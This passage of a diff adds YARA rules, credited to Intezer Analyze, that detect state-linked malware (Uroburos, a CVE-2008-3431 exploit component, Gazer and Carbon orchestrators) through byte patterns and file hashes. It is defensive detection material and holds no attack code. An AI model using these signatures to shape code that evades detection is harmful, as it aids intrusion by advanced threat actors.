+		$block_27 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_28 = { FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_29 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_30 = { 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_31 = { 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_32 = { B2 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_33 = { 0F BE ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_34 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_35 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 66 ?? ?? ?? ?? EB }
+		$block_36 = { 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? 85 ?? 74 }
+		$block_37 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_38 = { 0F B6 ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? 8B ?? 0F B6 ?? ?? ?? 03 ?? 8B ?? 88 }
+		$block_39 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 3B ?? ?? ?? 0F 87 }
+		$block_40 = { 8B ?? ?? ?? ?? ?? ?? FF C? 48 ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_41 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? ?? 77 }
+		$block_42 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 3D ?? ?? ?? ?? 0F 8C }
+		$block_43 = { 48 ?? ?? ?? ?? 8B ?? ?? 99 83 ?? ?? 03 ?? C1 ?? ?? 39 ?? ?? ?? 7E }
+		$block_44 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_45 = { 0F BE ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_46 = { 48 ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 75 }
+		$block_47 = { B2 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_48 = { 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { 8B ?? ?? ?? FF C? 89 ?? ?? ?? 0F B7 ?? ?? ?? 39 ?? ?? ?? 0F 83 }
+		$block_50 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_51 = { 8B ?? ?? ?? FF C? 48 ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_52 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 84 }
+		$block_53 = { 48 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_54 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 75 }
+		$block_55 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_56 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 7F }
+		$block_57 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 85 ?? 0F 85 }
+		$block_58 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 85 ?? 0F 8E }
+		$block_59 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_60 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 7D }
+		$block_61 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 74 }
+		$block_62 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_63 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 86 }
+		$block_64 = { 33 ?? 8B ?? ?? ?? F7 ?? ?? ?? FF C? 0F AF ?? ?? ?? 89 }
+		$block_65 = { B2 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_66 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? 0F 83 }
+		$block_67 = { 8B ?? ?? ?? 8B ?? ?? ?? FF C? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_68 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_69 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_70 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_71 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? 3B ?? 7D }
+		$block_72 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 39 ?? ?? ?? 0F 85 }
+		$block_73 = { 8B ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 0F 85 }
+		$block_74 = { 0F B7 ?? ?? ?? ?? ?? ?? 25 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_75 = { 48 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_76 = { 48 ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_77 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 }
+		$block_78 = { 8B ?? ?? ?? ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 74 }
+		$block_79 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 75 }
+		$block_80 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_81 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 8D }
+		$block_82 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F 85 }
+		$block_83 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 }
+		$block_84 = { B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "9184be433426f5c9fe8ce27e8df89d7849c6af61779a3835c89ad46815abe839" or
+		24 of them
+}
+
+rule UroburosCVE20083431 {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 6A ?? 68 ?? ?? ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_2 = { 0F B6 ?? ?? 0F B6 ?? C1 ?? ?? C1 ?? ?? 03 ?? 2B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_3 = { 8B ?? 99 F7 ?? ?? ?? ?? ?? 4? 8A ?? ?? 30 ?? ?? ?? 3B ?? ?? ?? ?? ?? 72 }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? ?? B8 ?? ?? ?? ?? 33 ?? 66 ?? ?? 0F 85 }
+		$block_5 = { 8A ?? 88 ?? 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_6 = { 5? 8B ?? 8B ?? ?? BA ?? ?? ?? ?? 83 ?? ?? 33 ?? 66 ?? ?? 0F 85 }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_8 = { 8A ?? 88 ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_9 = { 0F B7 ?? 48 ?? ?? ?? 66 ?? ?? 66 ?? ?? ?? ?? 75 }
+		$block_10 = { 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "8afa5f4d3cf330b44266b49c480ad4136c367fdb3c5bbca9db577a6ea6321aba" or
+		hash.sha256(0, filesize) == "2233dd70fe18f92d398e0f9265714255af1f3431ed512fd5ea174c7630df1fe4" or
+		hash.sha256(0, filesize) == "38b10be0618576f4a2285362b7576975f997980f1120e9d6470654f48503c179" or
+		hash.sha256(0, filesize) == "8f4f4c3469235da8c371cdbf3de0d81e31f71d5648da1fdfc76ad2290178836a" or
+		11 of them
+}
+
+rule GazerOrchestrator_x32_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? 05 ?? ?? ?? ?? 5? FF 3? 8B ?? ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_1 = { 8B ?? ?? 4? 89 ?? ?? 8D ?? ?? 5? 5? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_2 = { FF 3? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A ?? ?? 83 ?? ?? 5? 5? C9 C3 }
+		$block_3 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 5? C9 C3 }
+		$block_4 = { 8B ?? ?? 83 ?? ?? ?? ?? 83 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 5? FF 7? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_6 = { 2B ?? 33 ?? 8B ?? F7 ?? 8B ?? 0F AF ?? 2B ?? 0F B7 ?? ?? C1 ?? ?? 0B ?? 0F B7 ?? 8B ?? 0F AF }
+		$block_7 = { 5? FF 1? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_8 = { 8D ?? ?? 5? FF 7? ?? 8B ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? 4? 83 ?? ?? 3B ?? 0F 86 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? 03 ?? 5? FF D? FF 1? ?? ?? ?? ?? 0F AF ?? 5? FF D? 5? 5? 5? B0 ?? 5? C9 C2 }
+		$block_10 = { 0F B6 ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? 8A ?? 5? C9 C2 }
+		$block_11 = { 8B ?? 8B ?? ?? 83 ?? ?? 5? FF 3? 8B ?? ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_12 = { FF 7? ?? FF D? 5? 8D ?? ?? ?? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_13 = { FF 7? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 68 ?? ?? ?? ?? 6A ?? FF 7? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_15 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? BB ?? ?? ?? ?? 5? 6A ?? FF 7? ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 5? 8B ?? 5? 5? 5? 5? 8B ?? 8D ?? ?? 5? FF 7? ?? 33 ?? 89 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_17 = { 8B ?? ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? ?? 8B ?? ?? ?? 03 ?? 8B ?? 89 ?? ?? ?? 3B ?? 0F 87 }
+		$block_18 = { 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 5? C9 C2 }
+		$block_19 = { 8B ?? ?? 83 ?? ?? 5? 6A ?? FF 3? 89 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 5? 5? 8B ?? ?? ?? ?? ?? BD ?? ?? ?? ?? 5? 6A ?? FF 7? ?? FF D? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_21 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF 1? 8B ?? 8B ?? ?? ?? 8B ?? 5? FF 5? ?? 3B ?? 0F 8C }
+		$block_22 = { 8B ?? 83 ?? ?? 8B ?? 8D ?? ?? ?? A5 A5 A5 8B ?? A3 ?? ?? ?? ?? A5 FF 5? ?? 84 ?? 0F 84 }
+		$block_23 = { 8B ?? ?? ?? 8B ?? 6A ?? 5? 5? FF 5? ?? 8B ?? 8B ?? ?? ?? 8B ?? 5? FF 5? ?? 3B ?? 0F 9D }
+		$block_24 = { 8B ?? ?? FF 0? 8B ?? ?? 6A ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_26 = { 5? 5? 6A ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_27 = { 8B ?? ?? ?? ?? ?? 8B ?? 83 ?? ?? 8B ?? 8D ?? ?? ?? A5 A5 A5 A5 FF 5? ?? 84 ?? 0F 84 }
+		$block_28 = { 8B ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? A5 A5 A5 A5 89 ?? ?? 3B ?? 0F 85 }
+		$block_29 = { 5? 5? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 5? 6A ?? FF 7? ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_30 = { 8B ?? ?? 8B ?? 8B ?? ?? FF 0? 6A ?? 6A ?? FF 3? FF D? 8B ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? 89 ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 83 }
+		$block_32 = { FF 7? ?? ?? 8B ?? FF 3? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? FF 5? ?? 84 ?? 0F 85 }
+		$block_33 = { 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? 8B ?? 5? C9 C2 }
+		$block_34 = { 0F B6 ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? C9 C2 }
+		$block_35 = { 8B ?? ?? ?? ?? ?? 8B ?? 83 ?? ?? 8B ?? 8D ?? ?? ?? A5 A5 A5 A5 FF 5? ?? 84 ?? 74 }
+		$block_36 = { 83 ?? ?? ?? 83 ?? ?? ?? 5? FF 7? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_37 = { 8B ?? ?? 83 ?? ?? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_38 = { FF 7? ?? 8B ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? FF 4? ?? 8B ?? ?? 3B ?? ?? 0F 82 }
+		$block_39 = { 8B ?? ?? ?? 8D ?? ?? ?? 8B ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 3B ?? ?? ?? 0F 86 }
+		$block_40 = { 8D ?? ?? 5? 5? 33 ?? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_41 = { 8B ?? ?? 8B ?? ?? C1 ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_42 = { 8B ?? 6B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_43 = { 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 5? 5? C9 C2 }
+		$block_44 = { 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_45 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 5? 8B ?? ?? 6A ?? FF 7? ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_46 = { 6A ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 8B ?? ?? 03 ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 7? ?? 5? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_48 = { 8B ?? 6A ?? 8B ?? FF 1? 6A ?? 8D ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_49 = { 8B ?? ?? 03 ?? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_50 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 7? ?? FF D? 8B ?? 33 ?? 3B ?? 0F 84 }
+		$block_51 = { 8D ?? ?? ?? 5? FF 7? ?? ?? 5? 6A ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_52 = { FF 4? ?? 81 6? ?? ?? ?? ?? ?? FF 4? ?? 29 ?? ?? 4? 83 ?? ?? ?? 89 ?? ?? 0F 8F }
+		$block_53 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? 5? 6A ?? FF 7? ?? FF D? 89 ?? ?? 3B ?? 0F 84 }
+		$block_54 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? 89 ?? ?? 89 ?? ?? 0F 84 }
+		$block_55 = { 8B ?? ?? 6A ?? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_56 = { 8D ?? ?? ?? 5? 6A ?? 6A ?? 6A ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_57 = { FF 7? ?? 8B ?? ?? FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_58 = { 8B ?? ?? ?? FF 4? ?? FF 4? ?? ?? 8B ?? ?? ?? 8B ?? 8B ?? ?? ?? 3B ?? 0F 82 }
+		$block_59 = { 8D ?? ?? 5? 6A ?? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_60 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_61 = { 8D ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_62 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_63 = { FF 3? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_64 = { FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 0F AF ?? FF 4? ?? 39 ?? ?? 7C }
+		$block_65 = { 5? 8B ?? 83 ?? ?? 33 ?? 83 ?? ?? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 0F 84 }
+		$block_66 = { 8B ?? ?? ?? ?? ?? FF 3? ?? ?? ?? ?? 8B ?? FF 9? ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_67 = { 5? 5? 8B ?? ?? 5? 8D ?? ?? A5 33 ?? 66 ?? 66 ?? ?? ?? 4? 66 ?? ?? ?? 75 }
+		$block_68 = { FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_69 = { 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_70 = { 5? 6A ?? FF 7? ?? FF D? 8B ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? 3B ?? ?? 0F 85 }
+		$block_71 = { 83 ?? ?? 8B ?? 8D ?? ?? ?? A5 A5 A5 89 ?? ?? 8B ?? A5 FF 5? ?? 84 ?? 75 }
+		$block_72 = { 8D ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_73 = { 8B ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? A5 A5 A5 8B ?? ?? ?? 33 ?? 2B ?? 0F 84 }
+		$block_74 = { 8B ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 8E }
+		$block_75 = { FF 4? ?? FF 7? ?? FF 1? ?? ?? ?? ?? FF 4? ?? 8B ?? ?? 3B ?? ?? 0F 82 }
+		$block_76 = { 89 ?? ?? 8B ?? 89 ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 8F }
+		$block_77 = { 8B ?? ?? ?? 8B ?? 6A ?? 5? 5? FF 5? ?? 85 ?? 8B ?? ?? ?? 8B ?? 0F 88 }
+		$block_78 = { 5? 5? 5? 5? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 33 ?? 3B ?? 0F 84 }
+		$block_79 = { 8B ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? A5 A5 A5 8B ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_80 = { 5? FF D? 5? 8D ?? ?? ?? 5? 6A ?? FF 7? ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_81 = { FF 1? ?? ?? ?? ?? 8D ?? ?? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_82 = { 8D ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? A5 A5 A5 A5 8B ?? ?? ?? 33 ?? 4? }
+		$block_83 = { 8B ?? ?? 6A ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_84 = { 8B ?? ?? 8B ?? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF 1? 85 ?? 0F 88 }
+		$block_85 = { 8B ?? 89 ?? ?? 8B ?? ?? 8B ?? 83 ?? ?? ?? 83 ?? ?? 8D ?? ?? 0F 86 }
+		$block_86 = { FF D? 8B ?? FF D? 0F AF ?? 83 ?? ?? ?? 89 ?? ?? 8B ?? ?? 85 ?? 7E }
+		$block_87 = { 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 0F AF ?? 89 }
+		$block_88 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? ?? 5? 5? 5? C6 ?? ?? ?? 0F 84 }
+		$block_89 = { 8D ?? ?? 5? 8D ?? ?? 5? FF 7? ?? 8B ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_90 = { 8D ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 81 7? ?? ?? ?? ?? ?? 0F 85 }
+		$block_91 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_92 = { 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_93 = { FF 7? ?? FF 3? E8 ?? ?? ?? ?? 33 ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_94 = { 8B ?? ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? 5? FF D? 83 ?? ?? 0F 84 }
+		$block_95 = { 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 3B ?? 0F 86 }
+		$block_96 = { 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_97 = { 2B ?? 5? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 85 }
+		$block_98 = { 68 ?? ?? ?? ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_99 = { 8B ?? ?? FF 4? ?? FF 4? ?? 8B ?? ?? 8B ?? 8B ?? ?? 3B ?? 0F 82 }
+
+	condition:
+		hash.sha256(0, filesize) == "09da9e80e4554be5c2734ced0e70a6a08eb9ddacb8c1d9155c44ad8f0cbad8d2" or
+		12 of them
+}
+
+rule CarbonOrchestrator_v3_71_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { E8 ?? ?? ?? ?? 45 ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 0F 85 }
+		$block_1 = { BF ?? ?? ?? ?? 44 ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_2 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_3 = { 44 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 41 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_4 = { 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 40 ?? ?? 0F 84 }
+		$block_5 = { 45 ?? ?? 45 ?? ?? 48 ?? ?? 41 ?? ?? ?? 4C ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
